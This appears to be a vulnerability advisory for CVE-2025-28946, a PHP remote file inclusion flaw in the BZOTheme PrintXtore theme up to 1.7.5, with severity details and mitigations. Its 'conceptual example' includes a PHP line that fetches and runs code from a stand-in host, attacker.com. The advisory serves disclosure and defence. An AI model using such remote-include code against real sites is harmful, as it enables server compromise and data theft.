CVE-2025-28946: PHP Remote File Inclusion Vulnerability in BZOTheme PrintXtore

Overview

CVE-2025-28946 is a critical vulnerability that exists due to improper control of a filename for the include/require statement in a PHP program. This is also known as a ‘PHP Remote File Inclusion’ vulnerability. It affects the BZOTheme PrintXtore software and versions up to and including 1.7.5 are at risk. This vulnerability is significant due to its high severity score and its potential to compromise systems and lead to data leakage. As PHP is a widely used language for web development, this vulnerability could have widespread implications if not adequately addressed.

Vulnerability Summary

CVE ID: CVE-2025-28946
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme PrintXtore | Up to and including 1.7.5

How the Exploit Works

The vulnerability arises from the improper control of a filename in the include/require statement of a PHP program. This allows an attacker to remotely include a file from a remote server, which could contain malicious PHP code. Once included and executed, the malicious code can compromise the system and potentially lead to data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

<?php
// Malicious remote file to be included
$evil_file = "http://attacker.com/malicious_file.php";
// Vulnerable include statement
include($evil_file);
?>

In this example, the attacker controls the `$evil_file` variable and sets it to a URL hosting their malicious PHP file. The vulnerable include statement then includes and executes this file, potentially leading to a system compromise.

Mitigation

To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability.
In the long term, developers should practice secure coding to prevent such vulnerabilities. This includes proper input validation, especially for include/require statements, and ensuring that only local files can be included.